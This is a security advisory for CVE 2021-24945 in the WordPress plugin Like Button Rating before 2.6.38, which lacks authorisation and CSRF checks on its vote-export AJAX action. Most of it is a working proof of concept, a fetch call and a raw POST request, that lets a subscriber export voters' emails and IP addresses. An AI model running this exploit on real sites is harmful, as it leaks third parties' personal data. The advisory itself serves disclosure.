Like Button Rating < 2.6.38 – Unauthorised Vote Export to Email & IP Addresses Disclosure | CVE 2021-24945

Description

The plugin does not have any authorisation and CSRF checks in the likebtn_export_votes AJAX action, which could allow any authenticated user, such as subscriber, to get a list of email and IP addresses of people who liked content from the blog.

Proof of Concept

fetch("http://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"likebtn_export_votes","separator":";","encoding":"utf-8","fields[0]":"user_email","fields[1]":"ip","fields[2]":"country","fields[3]":"date","fields[4]":"item_id"}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 161
Connection: close
Cookie: [subscriber+]

action=likebtn_export_votes&separator=%3B&encoding=utf-8&fields%5B0%5D=user_email&fields%5B1%5D=ip&fields%5B2%5D=country&fields%5B3%5D=date&fields%5B4%5D=item_id